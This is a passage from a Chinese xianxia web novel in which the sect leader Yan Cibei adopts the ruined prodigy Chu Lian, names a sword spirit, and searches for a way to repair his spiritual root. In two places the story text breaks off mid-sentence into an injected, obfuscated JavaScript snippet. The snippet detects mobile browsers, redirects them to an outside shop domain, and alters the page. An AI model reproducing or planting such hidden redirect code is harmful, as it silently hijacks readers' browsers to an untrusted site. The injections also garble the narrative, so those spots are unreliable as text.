鬼王留下的遗址千年一开,历代五贤便负责在鬼修逃出前关闭通道,加固封印。 燕辞北就是现在的五贤之一。 而原著的下一任修界共主是楚怜——鬼王和正道修士的儿子。 不过现在,可能只有燕辞北知道此事。 “说起来,你有名字吗?”燕辞北换了一个话题。 原著里楚怜直接管剑灵叫“小灵”了,好像没有问过这个问题。 但燕辞北不想用这个名字叫她,但愿前主人取过名字,因为他是个取名废。 剑灵答:“这把剑叫‘三千’。前主人不知道我化灵了,所以没有专门取过名字。” 原著没有花太多笔墨去写那个陨落的剑修,原著的“小灵”也很少提及前主人。但燕辞北倒是来了兴趣:“三千烦恼丝的‘三千’?” 剑灵:“刺敌三千剑的‘三千’。” 比烦恼丝厉害多了。 燕辞北深感佩服:“那以后就叫你‘小千’。” 小千很高兴,翻来覆去把这个名字念了十来遍。 她的声线本就稚嫩,莺啭似的,在山洞里回来荡去,越念越兴奋,直接扑到燕辞北的怀里。 - 一人一剑联络感情的功夫,洞府深处却是一片水深火热。 楚怜眼前正回映着家门破败的惨象。 ——这些不能与外人说道的伤痛,都是无数次寂寂夜深萦绕不去的梦魇。 他看到四散哭嚎的仆婢,看到满地被砸碎了的残破的琉璃金玉,看到莲花池里涨满了血,看到芙蓉花丛里藏着的断肢残臂。 森森鬼气笼罩着熟悉的家园,亲人的面孔还未出现,就让他双股战战,根本不敢前行。 楚怜听说过“心魔”。心魔会每时每刻骚扰宿主,但大部分心魔都诞生在金丹期后。 这让他有些想笑。 他是何德何能,竟然炼气期就出现了心魔。 楚怜咬着牙推开门扉,一只断臂挡住他的脚步。 他不得不蹲下来,轻轻捡走那只断臂。 不知它是来自门房还是哪个小厮,手掌布满硬茧,楚怜本能地想要作呕,又逼迫自己注视着它。 到底是谁害了他的家人? “对不起。”楚怜阖目,对那只断手轻声道歉。 他不是很好的主子,相反,他很刁钻。 大部分仆人都受不了和他相处,不过他给的赏赐也多,所以勉强维持着表面的平衡。 但今天燕辞北也给了他“赏赐”。 楚怜才发现,被赏赐的滋味没有想象中那么好。 哪怕对方不是羞辱的用意,也让他觉得空落落的,心底泛起微妙的不甘。 真希望能回报燕辞北的赏赐。 希望让燕辞北露出惊喜的表情。 楚怜摇摇头,试图甩开这些杂念。 他继续前行,刺鼻的腥臭让他好受了点,可以假装自己身处炼狱,在与当时的家人同生共死。 惨叫声连绵不绝,已经演变成阴森的鬼嚎。 越往里走,越觉得彻骨生寒。 前方黑洞洞的,早已不见了华庭的轮廓。楚怜只是循着身体记忆,想要不断深入,他为自己选择的目的地是家族祠堂。 那是楚家最珍贵的地方,先辈传承尽列此地,他也曾经蒙恩诸多。 “吱呀——” 楚怜感觉自己似乎推开了一扇门。 更冷了,好像有无数只手在剥他的皮。 突如其来的巨力压迫着他的肩膀,让楚怜猛地坠了下去。 双膝骤然一软,跪倒在冰冷的地面,发出“砰”地响声。后方门窗大关,只剩冷风像数不清的巴掌拍打着这间四四方方的窄堂。 “最新的百家名士录,又把九公子列在首页呢!不愧是九公子!” “七岁筑基、十五金丹,上一个这般天赋的,就是与剑台的剑仙和合欢宗那位尊者了吧?咱公子一定能成为比他们更耀眼的大能。” “阿怜哥哥好厉害,我长大也要像阿怜哥哥一样为家族争光——” 千般娇贵、万种尊荣,那些美好的记忆犹在眼前。 可是深受期待的他,在灾难来临时弱小得就像一粒尘。 若非与剑台的长老恰好来楚家做客,从尸堆里捡出了他,他本该和族亲一起消逝在那场噩梦里。 楚怜呵出一口气,想要暖暖手心。 可是身体还是很僵,好像处在数九隆冬,砭骨的风往骨髓里钻,他只能直挺挺地忍受,就连玉佩都变得死气沉沉,不知何时才是这场折磨的尽头。 “你该死。” 莫名的声音在脑海中响起,楚怜蓦然一怔。 但只是分神的刹那,这个念头就已经充斥识海。 明知是心魔的怂恿,楚怜还是被它牵动心神,痛苦地合眼,跪趴在地。 该死的心魔。 区区心魔也配觊觎他的身体,怎么敢……差使他的意识! 朦胧中,眼前的一干牌位似乎亮了。 楚怜辨不清是谁的牌位,也看不清供的是哪尊神佛,他只能默默地握紧拳头,在掌心掐出无数血印,用残存的清醒和心魔对抗。 疼痛并未因此减退,反而见风就长,越发猖獗。 痛到楚怜都顾不得自己的仪表,额角青筋暴跳,几度开口,几乎就要顺着心魔道出“我该死”…… 那些明明灭灭的牌位却在须臾间光芒大盛。 看不清的神像遽然现形。 逆光的轮廓闪闪烁烁,唤醒了煎熬中的楚怜。他撑开眼,无意识地看向神像。 神秀毓灵、容艳骨清。 那不可能是他家的供奉。 他们是不输宗派的世家,不可能供奉一个别家的修士。 更不可能供奉一个……合欢宗的修士。 南离尊者的神像在光影中对他微笑。 火焰灼灼,照亮那张仿佛初见,神秘而温和的脸庞。 而后薄唇轻启: “晚饭吃烤鸡怎么样?”尊者说,“本座不会,你来烤。” 楚怜:“……” ? - 楚怜醒了,浑身被汗水湿透,像被人浇过水。 他从来没有这么不体面过。而睁开眼,那把丑陋的剑还围着他又蹦又跳:“好丑好丑!你醒啦?” 楚怜下意识动动鼻尖,发现它还变臭了,像在鸡屎里滚过。 嫌恶之情越发溢于言表。 小千察言观色的熟练度还不够高,自顾自地解释:“我和主人都抓完山鸡回来了,发现你还没完事,就干脆把你叫醒啦。” 果然,是南离尊者把他从噩梦里拖了出来。 可是目光扫过周围,空落落的,并没有看到他期待的人影。 只有身边燃烧着的一张符,似乎是燕辞北留给他烤干身体用的。 楚怜的眸子暗了暗。 “离我远些。” 楚怜不假思索地推开小千。 小千怒极,飞舞着骂他:“笨蛋,这股鸡屎味还不是为了让你吃饱饭!一个传承,居然也要花两天两夜!我从没见过你这样愚钝的家伙,幸好有主人给你护法。” “你主人呢?” “主人主人主人,就知道主人,我在和你说话耶!只有笨蛋才会一睁眼就找娘亲呢,主人又不是你娘,他都不是女的……唔。” 小千的后半句戛然而止,立刻换了话题,“主人收到一只灵蝶,就先出去了。好像是剑仙的灵蝶。说起来,你知道现任剑仙是谁吗?” 楚怜淡淡扫它一眼,若有所思。 不过,南离尊者会来与剑台,只可能是和剑仙有约。 但是护法不都该寸步不离吗? ……明明是那个人自己承诺的。 楚怜说不清来由地有些不悦,低头整理衣褶,却被小千撞了一下:“小孩,前辈在问你话呢!” 火上浇油的情绪险些爆发,楚怜斜眸看去,小千惊叫着退后几尺,声音弱了些许,“聊聊天嘛,你瞪什么,我、我要跟主人告你!” 楚怜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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燕辞北怔了一下:“嗯?” “我的灵根废了,对与剑台来说,留下我是拖累,抛弃我又怕被天下耻笑,所以劝我自己辞去……” 楚怜顿了顿,他注意到燕辞北的表情确实很无辜,也像意识到什么,自嘲道,“抱歉,我想多了。剑仙怎么会为我费心,应该是尊者发现了我这隐患,不想我留在这儿给剑仙添乱吧?毕竟你们是天下有名的知己。” 越说越远,燕辞北都不知道自己有这么体贴。 他及时叫停了楚怜:“幸好是遇上宽容大度善解人意的本座,要是跟别人这么说话,你小子九条命都不够死的。” 楚怜:“……” 他扭过头去,用鼻子轻哼一声。 燕辞北倒是很能换位思考。 代入自己,顶级画功分镜、精心绘制旷世纯爱,结果市场毫不买账,屈辱和焦虑之下,有点被害妄想也是在所难免。 况且楚怜更像是一直被市场热捧的顶流突然画功退步一万倍,摔了个大马趴。 坏了,代入过头真有点痛了。 “本座如果有半点看轻你的意思,就不会等你两天两夜。你要是还不相信,本座甚至能接你去合欢宗修行,可惜我们只收姑娘,要不然……你自宫吧?” 后半句已经是玩笑话了。 燕辞北原意只想让他高兴点,堂堂男主,怎么可以灭自己志气。 但楚怜好像因为他的玩笑抬了眼睛。 紧随其后就是小千的惨叫——她被楚怜一手抓了过去。 楚怜平静地挑眉:“你说到做到?” 然后就背过身,略微作为回避。 燕辞北:“?” 楚怜撩开衣服下摆,小千的尖叫更大声了:“主人救我!!!他要脏了我!!!!” 燕辞北:“???” 不要啊不要用这种形式脏你前妻啊!!! 燕辞北慌乱无比地抓起死山鸡,一把丢了过去。 山鸡正中楚怜的脸,留下一道惨烈的血痕。他缓缓转过头,半张脸沾血,在火光映照下诡丽得像鬼片主角。 好像无法理解燕辞北为何制止自己,楚怜偏了偏脑袋:“怎么,你要食言吗?” 小千距离楚怜的目标已经只剩一寸了,她哭着喊宁愿从未化灵。 燕辞北很理解她。 山鸡“啪叽”落下,覆在楚怜的裆处。 小千划破了一层鸡皮,比起先前,这个用途还让她稍微欣慰一点。 燕辞北:“事已至此,先食□□。” 5. 第五章 楚怜揪起山鸡:“知道了。” ——然后拔去几手鸡毛,就直接架上了火堆。 燕辞北:“……” 总感觉步骤省略得太多了? 不多时,难以言喻的焦臭充斥山洞,燕辞北一连掐了好几次避尘诀用以自保。 就在他怀疑山鸡兄所托非人的时候,楚怜大功告成,冷着脸递来了一条鸡腿。 燕辞北犹豫地看了一眼柴火堆上的残骸。 山鸡兄,已黑化。 那么一团黑漆漆的不可名状之物,怎么看都不像能进嘴的东西吧。 但是楚怜的脸蛋都被浓烟熏黑,眼睛也有些泛红。 他紧紧抿着嘴唇不发一言,目光冷冽而局促,逡巡在燕辞北身后的石壁上,上下左右转了几圈,唯独不肯和燕辞北对视。 其实烧得红通通的耳尖早就暴露了他的不安。 燕辞北深吸一口气。 一个十来岁的娇气包,鼓起勇气第一次下厨,这是多么的可贵! 堂堂男主,肯为他用心思就是好的! “辛苦啦,”燕辞北摆出了应付甲方时的招牌笑脸,“让我来尝尝小怜的手艺。” 小千立即感动地捧哏:“主人堂堂渡劫期,早就摒除六欲没有进食需要,居然还肯吃你一个炼气期小弟子的鸡。小子,你必须为合欢宗燃烧你的余生!” 楚怜:“……” 顶着楚怜如炬的目光,燕辞北咬了一口。 这一口,有焦脆的外皮、糊臭的肉质、还有浓烈的腥气,和残余的血丝。 燕辞北:“………” 燕辞北:“你真的会为合欢宗燃烧你的余生,对吧?” 不然他的牺牲真的有点超纲了啊!!! 楚怜也拽了另一根鸡腿下来,一口咬下。 然后背过身平静地吐掉。 楚怜得出结论:“这个地方不适合养鸡。” 燕辞北:“有没有可能,不是鸡的问题?” 楚怜一瞬间鼓起脸,抢走燕辞北吃到一半的鸡腿,丢进了火堆:“那就是你的火有问题。” 燕辞北彻底笑了出来。 因为他这一笑,楚怜越发的羞恼。 本来已经停下了咀嚼,现在又像和燕辞北赌气,或者要证明什么似的,楚怜鼓着双腮继续就那只山鸡大快朵颐。 吃相很优雅,也架不住吃的东西不堪入目。 燕辞北他两眼都已泛起生理性泪水,实在忍不住,出手拉一拉楚怜的衣袖:“好了,回合欢宗再吃吧。准备出发了。” 楚怜倔强地试图抽回袖子。 但燕辞北已经使诀驭起一团火雾,雾气愈浓,无限趋于实质。 他踩在雾里,勾勾手指示意楚怜跟上。 楚怜却一时没动,燕辞北笑问:“矜持什么?” 他自己可以千里遁行,但带着楚怜就不方便,所以只能考虑御剑或者驾云。 但楚怜似乎无法体谅他的贴心,反而问:“尊者没有神行箓吗?” 燕辞北的笑容僵了一下。 从与剑台回合欢宗至少要五张上品神行箓才够吧。 所以?市价一千灵石一张的上品神行箓,五张? 换算一下,让他散步捡只流浪猫然后花五千块打车回家? 燕辞北张嘴想要找个理由澄清,但见楚怜已经摸向芥子袋,似乎想亮出自家丰厚的库存,比如扒出两张神行箓来嘲讽节俭的自己。 燕辞北毫不犹豫,黑着脸把外衫一敞,便绑架似的把人兜头罩住。 楚怜就这么被拖进了火云雾里,还能听到燕辞北咬牙切齿的警告:“俭以养德,廉以立身。小朋友,你要学的东西还多着呢。” “唔唔唔——” 这是楚怜最后的回应。 - 楚怜很有钱。 原著就多次强调过,他继承了五大世家之一楚家的全部灵矿和法宝,看似孤苦伶仃,实则腰缠万贯。 虽然这些资源也曾成为楚怜受人觊觎的引线,但不可否认,楚怜受益颇多。 不过燕辞北还没有缺德到垂涎别人的遗产。 而且在楚怜突破元婴之前,他都无法打开楚家宝库,只是随身携带的芥子袋里还有不少存货。 想到原著大几百万字的篇幅,燕辞北又想叹气。 娇气包的历练还很漫长啊。 在他的怀抱里,楚怜起初还会不安地挣扎,但火云雾一路万里长风破云,又温融地烘烤着二人,实在催人发懒。 尤其是境界落回炼气期的楚怜,不出半个时辰,他就抵不过困意,缩在燕辞北的怀里打起了瞌睡。 小脑袋一点一点,像只刚熬过严冬,还不知道未来艰险的雀儿。 燕辞北趁机掐了好几下他的脸颊肉。 必须承认楚家很会养孩子,触感软软嫩嫩、玉雪温凉。 让人看两眼就想啃上一口,燕辞北甚至幻想出了上嘴的绝佳口感——糯米搓的汤圆皮,咬一口能流出香浓的馅。 虽然是不用进食的渡劫期,但该馋还是会馋啊…… 数时辰后,深云重叠处可见合欢宗隐约的轮廓。 燕辞北最终没能下嘴,不舍地叫醒楚怜:“我们到了。” 小千表现得比楚怜还要兴奋,绕着燕辞北叽叽喳喳:“那里就是合欢宗?传说里的‘天上红尘’!我以前都是去战场,还没来过合欢宗呢。听说合欢宗的风都是香的,门生个个都很漂亮!” 话到一半,她又撞了一下楚怜,语调婉转地揶揄,“你小子可别趁机占同门的便宜哦!” 燕辞北:“……” 他担心的就是这个啊!! 但楚怜的反应十分平淡:“没想过。” 燕辞北大感欣慰。 但愿楚怜言出法随,不要让他后悔今天引狼入室的决定。 合欢宗的门生也远远注意到了两人的火云雾。 凤衔玉更是一早就等在护山大阵前,发现燕辞北的身影,立即开阵迎接。 待两人降落,燕辞北便迎来凤衔玉一个热情的拥抱:“师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274502|198171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尊!” 和凤衔玉一起的还有几个十二三岁的小女修,见到燕辞北都是两眼放光,争先恐后地挥手:“我们也要,我们也要!” 燕辞北摸了一轮小女修的脑袋,最后介绍身后的楚怜:“这是本座从与剑台带回来的……” 小女修:“哇,是男人!” 随后便不顾燕辞北还在场,七嘴八舌地议论起来: “是比宗主年轻的男修,我就说宗主喜欢年下吧!” “不对不对,宗主才叮嘱衔玉姐姐要找成熟稳重的男人,宗主肯定喜欢年上。” “什么年上年下呀,他的年纪都够当宗主的重孙……” 凤衔玉咳嗽两声,小女修们这才噤了声。 燕辞北倒不介怀小女孩善意的讨论,他很高兴合欢宗可以焕发生机,大家都朝气蓬勃,开开心心。 凤衔玉问:“这位就是您在灵蝶里提到过的楚小友吧?” 燕辞北赞许地点首:“正是。” 小千和楚怜看来是吹了,要是凤衔玉和楚怜真有缘分,从同门发展为道侣也未尝不可。 这会儿俩人站得近了,燕辞北更是看得心花怒放。 郎才女貌,般配! 凤衔玉和楚怜都不知道他的心思,楚怜对凤衔玉微微颔首作为礼貌,凤衔玉便接过话头:“师尊嘱咐的餐食都备好了,弟子先带楚小友落榻客房。稍后衔玉再带小友观光宗内……” 燕辞北摆了摆手:“算他拜进合欢宗就可以,看看是你收还是本座收。” 一旦楚怜灵根修复,修炼的速度就会奇快。 随便指个师尊,未必能帮到实处,合欢宗真正能点拨一二的也只有他和凤衔玉而已。 凤衔玉双目微瞠,似乎没想到燕辞北这么轻易就收了个男徒弟。 楚怜也一样有些讶异。 他没想过燕辞北会亲自收下他——一个灵根被废,前途渺茫的孤儿。 燕辞北接着道:“就在本座名下吧。” 合欢宗向来抵触男性,说不定凤衔玉就不喜欢男弟子,还是不要强人所难了。 记在他的名下,也能让楚怜更加感念这份恩情。 凤衔玉收敛讶色,垂首行了一礼:“是。” 随后便对楚怜轻轻一笑,“小师弟,随我来罢。” 但比起她,楚怜的反应就缓慢多了。 他无言地注视着燕辞北,目光复杂,良久,燕辞北弯眸笑问:“怎么了,不习惯吗?” 这句话却像一粒火星,楚怜猛地收回了目光,仿佛被灼伤一般。 这次他也效仿凤衔玉朝燕辞北垂首一礼:“多谢……师尊。” 雪白的脖颈像他罕见的温顺一样露了出来,燕辞北笑容更盛,忍不住抬手摸了摸楚怜的脑袋: “不客气,为师希望你能在这里生活开心。” 楚怜本能抬起,想要挡开他的手便在半空中一滞。 又僵了数息,燕辞北听到他迅速而轻盈的一声“嗯”,而后彻底挪开眼神,拔腿追向了凤衔玉。 6. 第六章 宗主从与剑台带回了一个男修,而且准备把他收入门下。 这个消息很快传遍合欢宗,一石激起千层浪,上上下下的同门都迫不及待想来看看这个少年是何方神圣。 大家都很笃定,能让刚出关的宗主破例收徒,肯定是个了不起的小妖精。 小妖精楚怜便在凤衔玉的引导下洗浴更衣,换了一身衣裳熟悉宗内各地。 那些或好奇、或猜忌、或嫉妒的视线时刻尾随,楚怜毫不在乎,安静地听着凤衔玉给他介绍:“这里是无欲春泉,冬暖夏凉,临近突破的弟子都来这里修行,宗内长老会帮忙护法。” 楚怜看了一圈,却没看到她所说的“长老”:“长老平日不在这里看护吗?” 凤衔玉一怔,面露哀伤,摇摇头:“数十年前,师尊和剑仙还在闭关,蓬莱山也大关山门不问世事。鬼王宫却反常现世,上修界措手不及,只有各宗长老前往压阵……我宗就有数位长老殉道。” 说到那场灾难,楚怜心里便有数了。 各大宗派都曾派人驰援,包括楚家,他的母亲就是其中一员。 可惜鬼王宫现世的地点和合欢宗太过接近,合欢宗也因此伤亡最重。 难怪近年的合欢宗越发低调,原来宗内确实凋敝。 楚怜便想起自己的事:“尊者……我是说,师尊就这样带我回来,与剑台会不会借机发难?” 看上去,合欢宗完全不具备抵御与剑台的实力。 “师尊和剑仙感情素好,你的事,师尊已经借由灵蝶和剑仙交代过了。就算剑仙在与剑台不掌实权,他们也不会不给剑仙面子。” 凤衔玉打量着他的神情,忍俊不禁,“早几年,你的名字也很响亮,但都说你是个不可一世的天才。今日见了本尊,倒不像传说里这么跋扈。” 楚怜怔忡片刻,下意识又要摆出脸色。 凤衔玉却打断了他:“不过,师尊闭关多年,应该不曾听过你的事迹。她肯收你,一定是看重你自身的心性资质,希望你不要让她失望。” 就和合欢宗的窘迫一样,楚家的灭门惨案也是举世皆知。 楚怜听出她话里深意,静静“嗯”了一声,不再多言。 两人且行且谈,大都是凤衔玉公事公办地介绍,楚怜客随主便地点头。 没一会儿,一位女修花蝴蝶似的飘过长廊,步伐踉跄,面色酡红,直直朝着二人撞了过来。 凤衔玉目露无奈,伸手试图接住她:“秦长老,怎么又在酗酒……” 秦长老却是目标明确地向楚怜靠去。 楚怜袖中符箓生烟,将步一挪,身影便如飞烟走石,刹那躲开了秦长老的拥抱。 秦长老一个扑空,却也没像表现出的那般需要帮助。 她的身子在空中转腾,倚着廊柱挑眉回看:“换影符?不愧是楚家的二世祖,连个献吻都用这么贵重的符箓来躲。” 秦长老的几个徒弟这才尾随赶来,着急地代师道歉。 凤衔玉也打圆场:“秦长老素爱饮酒,今日怕是也喝多了,不是有意冒犯。师弟,你受伤了吗?” 楚怜却很清楚。 这个所谓的“献吻”无非是暗地里不满他的人到了明面,这里不似与剑台那么明着霸凌,可不代表有燕辞北,其他人就都能忍受他的存在。 秦长老轻嗤一声:“他躲这么快,怎么可能受伤。但是一点也不尊老爱幼,真不知道宗主看上你哪里。” 楚怜也上下打量她。 燕辞北地位尊崇,却只有凤衔玉一个亲传弟子。 像秦长老这样的,虽然名为长老,但也未必不艳羡燕辞北亲传的身份,毕竟那才是合欢宗真正的“祖宗”。 楚怜道:“可能看上我年轻有潜力吧。” 秦长老:“……” 凤衔玉:“……” 他的年纪确实只有她们的十分之一,甚至百分之一。 一旁的小女修急忙转移话题:“说起来,小师兄才从与剑台来,是不是也见过剑仙?” 楚怜摇头。 小女修遗憾极了:“我们还想你肯定见过剑仙和宗主相处呢。传说千年前他们就是挚友,宗主一直没有合籍,我们都在打赌,这回剑仙会不会表白。” 另一个小女修连声反驳:“男人有什么好的,比起剑仙,还是虫母更体贴吧。宗主和她也是千年的交情,万重山至今都只和合欢宗往来。” “你们不要吵了,宗主说过她喜欢稳重成熟的。蓬莱山的医圣才是最符合要求的那个!” “稳重有什么用?一点不会哄人,还是百妖谷那个妖王好,听说特别可爱。” 最后一个小女修语出惊人: “……说不定,小师兄才是宗主相中的童养夫呢!” 楚怜的背影一瞬间僵了。 凤衔玉大声喝止:“越说越离谱了,住口!” 接着她无奈地对楚怜解释,“别介意,大家都经常看宗主相关的话本,难免有些浮想联翩,没有冒犯你的意思。” 小女修们便齐齐转向两个亲传弟子:“师姐师兄,你们最熟悉宗主了,你们说,宗主会喜欢哪一个?” 凤衔玉顿时哑了声:“这……” 她求助地看向秦长老,希望她能赶紧带走自家徒弟。 但秦长老还在原地苦思冥想着楚怜刚才的答案,这会儿一拍脑袋:“你年轻怎么了?整个合欢宗的餐食都是我在安排,宗主刚出关就吃了我亲手做的宵夜,不比你有用多了!” 凤衔玉:“……” 楚怜:“……” 就在凤衔玉为秦长老的反应速度略感绝望的时候,楚怜竟然顺滑地接上了秦长老的话题。 他从袖子里摸出十张价值五百灵石的换影符:“教我。” 秦长老:“什么?” 楚怜:“教我烤鸡,换影符全都给你。” - 凤衔玉传了灵蝶过来,说楚怜适应非常好,已经和秦长老成了莫逆之交。 燕辞北欣慰至极。 秦长老是宗内相当难缠的代表,能和她友好来往,足以证明楚怜超强的社交能力,假以时日,楚怜一定能顺利融入合欢宗。 回到房间的燕辞北也抓紧时间和小千完成了结契。 结契后的小千便在偏房休憩,不出半日,她就能完全化形。 看上去一切都出乎意料地顺利。 不过他好像忘记了什么事……嗯……是什么事呢? 半空中一只灵蝶飘飘悠悠地过来,燕辞北探指接下,就听它发出剑仙白折竹的传音:“老妹,都搞定啦!你说的那几个欺 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白折竹变得支吾起来:“你说,楚家的仇人到底是谁?谁会放着这么大一座宝库不动,非要把人都杀干净?” “我哪知道。”燕辞北道,“也许只是没能打开宝库。” 白折竹问:“你也是想要楚家的宝库?” 燕辞北:“我不是。” 白折竹似乎松了一口气:“那你是为什么?” 燕辞北随便找了个借口糊弄:“我垂涎美色。” “……”白折竹刚松的气又提了回去,“你比贪财的还要坏!” 记忆里,白折竹不是坏人。 他的剑道天赋惊人出色,是万里挑一的天才。但也和楚怜一样,他被宗派保护得相当周密,所以几千岁了还是孩子心性,赤诚坦荡,又过于直白。 燕辞北相信他从未想过伤害楚怜。 可原著的楚怜确实因为白折竹的犹豫和天真遍体鳞伤。 越是熟悉白折竹,燕辞北就越确信自己没有做错。 白折竹是很好的修士,很好的朋友,但他不像是很好的师尊。 至少不是楚怜需要的,能够引导他成长的师尊。 燕辞北叹息一声,道:“楚怜在合欢宗都挺好的,我这儿人少,也没有人会欺负他,你放心吧。” “愚兄当然不会怀疑你的人品,只是担心楚家的仇人找上你……” “以我的水平,什么仇人都能拖上一阵。你及时帮忙不就好了?” 白折竹还是很担心的口吻。 又过一阵,灵蝶晃晃悠悠地支起翅膀,白折竹犹豫地道:“按照与剑台的规矩,弟子无故辞去,需要战胜十名外门弟子……这是掌门他们的意思。” 燕辞北:“?” 燕辞北:“你知道的,楚怜的灵根已经废了。” “愚兄知道愚兄知道,所以愚兄说,你愿意出十万灵石买走楚怜……” 燕辞北:“???” 人情险恶!这就是人情险恶!! 燕辞北毫不犹豫地回答:“选好日子,准备好你们的十万灵石,我会带楚怜上门踢馆的。” 7. 第七章 虽然话放得很凶,但燕辞北实际心焦不已。 让没有灵根的楚怜战胜十名与剑台内门弟子? 怎么可能!必须抓紧时间给人找一条灵根才行啊!! 结束和白折竹的闲聊,燕辞北一刻也不敢耽误,匆匆前往合欢宗内的藏书阁。 藏书阁是一座七层高塔,八方悬铃,风过琳琅。 燕辞北化作金光闯入,扫荡一般掠过低层,带动内外银铃叮当作响。 负责看守藏书阁的长老本在高层翻阅藏书,听到铃音,远远看到一点金光,以为是哪个违规在藏书阁遁走的小弟子。 正待呵斥,却见燕辞北的脸一瞬间凑到跟前:“柳长老。” 柳长老面色微变,略微软了口吻:“原来是宗主。” 但想起燕辞北风风火火的劲头,柳长老又严肃教训,“可您身为一宗之主,乃是同门表率,更不应该在宗内遁走,坏了门中风气。特别是藏书阁,此为清静之地,无论长幼皆须肃穆庄重……” 燕辞北只是天赋好,柳长老才是现在宗内辈分最高的一位。 合欢宗的大家唯恐被她说教,平日都不敢去柳长老眼皮底下,连带着藏书阁也越发冷清。 燕辞北就像被班主任揪住的小学生,鸡啄米似的点头,等柳长老唠叨够了,燕辞北继续请教:“柳长老,咱们藏书阁里有没有关于修复灵根的记载?” 柳长老眉心轻皱,谨慎地握住燕辞北的脉门:“修复灵根?宗主为何要问这个,难道你的灵根出了问题?” “当然不是,是我新收的徒弟。他的灵根……有点麻烦。” 柳长老的表情缓和些许,又流露出一点怜悯。 能让燕辞北亲自登门求助,足以猜到这个徒弟的问题有多棘手。既然都是同门,柳长老也不会吝啬自己的援助。 “和老身详细说说他的情况吧。”柳长老道。 一提到楚怜被废的灵根,燕辞北无奈地合上了眸。 原著里,楚怜灵根被废后境界就跌回了炼气期,但他的筋脉还是金丹期的强度,会自发吸纳四周的灵气。 所以当筋脉储存的灵气临近上限的时候,没有灵根引导他释放灵气,这些灵气就会在筋脉中淤积堵塞,直到超载,爆体而死。 于是问题就集中在,怎么帮楚怜重炼灵根。 原著的答案相当血腥: 楚怜从风刀阵里九死一生地逃出,几乎豁出性命,才得到了小千和小千主人的传承。 但即使回到崖上,霸凌他的外门弟子还是做贼心虚。 为防楚怜向管事长老揭发此事,他们趁夜找上楚怜,试图故技重施,再次把楚怜推下悬崖。 ——楚怜忍无可忍,反杀同门的同时,还掏走了其中一人的灵根。 是的,掏走了,灵根。 这件事为楚怜日后走火入魔被逐出师门埋下伏笔,也暗喻了他不是什么良善之辈。 可燕辞北不可能复刻这个法子。 这等行径实在骇人听闻,他做不到,也不希望楚怜重蹈覆辙。 面对柳长老的询问,燕辞北挑挑拣拣着提供线索:“就是楚家那个孩子……您也听说过吧,楚家的事情。这孩子是唯一的幸存者,但灵根凭空消失了,我猜是楚家的仇人所为。” 柳长老思忖道:“这种人为的折磨,不是鬼修就是魔修。妖修也有可能。” 燕辞北连连点头。 虽然有些种族歧视,但是方向没错。 原著写了,楚怜的仇人确实就是他的鬼王亲爹。 柳长老有了主意,弹指扫去塔楼台阶的细尘,示意燕辞北就地坐下。 接着,她瞑目掐几道手诀,就有书籍分别从不同楼层飘飞下来,悬在柳长老的身边哗啦啦书页翻飞。 柳长老粗略翻过几本,或送回书架,或放到燕辞北的手边。 很快,超过三十本书就在燕辞北的眼前摞成一叠,数量还在不断增加。 燕辞北举手:“长老,难道没有哪位大能就修复灵根这个课题发表一篇集中的、精简的、针对性的论述吗?” 柳长老无言地斜他一眼:“上修界不是每天都有人被挖灵根。” 换言之,楚怜的病症有点稀缺,暂时没有针对性的临床病例。 燕辞北认命地捡起第一本, 《从拓荒纪元看上修界医修大类修行前景之入门:灵根篇》。 厚约三指。 “提到灵根修复相关的都在这里了,自己看吧。”柳长老数出了三十余本,拍拍燕辞北的脑袋,“宗主要喝茶吗?明镜台新出的上品灵茶,还是新品种。” 燕辞北:“来一杯吧,谢谢长老。” 顿了顿,他忍不住问,“说起来,咱们有汤圆吗?” 都怪楚怜勾起了他的食欲。 合欢宗还有不少炼气期的弟子需要进食,所以秦长老管辖的膳堂非常重要。 像燕辞北这样地位的高修偶尔也会嘴馋,此时就可以蹭一顿宵夜打打牙祭。 “汤圆?”柳长老想了一会儿,“是说那些凡人过节吃的浮圆子?” 燕辞北两眼放光:“就是那个。” 柳长老吸一口气,看上去又要唠叨他堂堂渡劫期还耽于口腹之欲。 燕辞北及时发出一只灵蝶,飘向秦长老常在的膳堂:“小秦,可以送点宵夜到藏书阁吗?两碗浮圆子,感谢!” 随后就举起第二本书,端正学习态度:“长老放心,我这就看书。” 柳长老:“……” 实在拿宗主无法,她也拿起另一本坐在了燕辞北的旁边,“………宗主主动收留了楚家的孩子啊。” “违规接收男弟子这件事我会道歉的——” “不,老身没有责怪的意思。” 哗啦啦的翻书声中,塔外艳阳高照,日光如雨。 斑驳的光影落在柳长老的侧颜。 燕辞北侧首看她,逆光的半张脸如蒙阴翳,眼睛却温润明亮,轻声道:“老身很久没有见到来读书的孩子了,今日得见宗主,实在欣慰。而且宗主修至渡劫,还愿意慢下脚步去渡别人的劫,可见合欢宗在宗主带领下定能不忘仁心,不负修行。” 燕辞北翻书的手指动了动。 原著从未过多着墨于秦长老、柳长老等人,尤其是柳长老,她在原著里是最反对凤衔玉收留楚怜的。 但现在看来,她对楚怜的遭遇并非毫无恻隐之心。 只是原著那个时间太晚,已经没有人能改变楚怜和上修界的命运。 所以,他来的时间就刚刚好。 如果能更努力一点,救下楚怜,救下上修界……此间不只是纯爱,还有许多善意都能得以留存。 燕辞北轻笑着翻到下一页:“晚辈向您保证,一切都会越来越好。” - 凤衔玉的引荐没有说错,秦长老的确极擅烹调。 哪怕是在楚家养尊处优,尝尽珍馐的楚怜,也不得不承认秦长老的手艺非常不错,如果上修界是以厨艺论短长,她说不定会比燕辞北更出名。 用秦长老的话说,世间最不可辜负的就是美酒、美食和宗主大人。 楚怜给的学费排在第四。 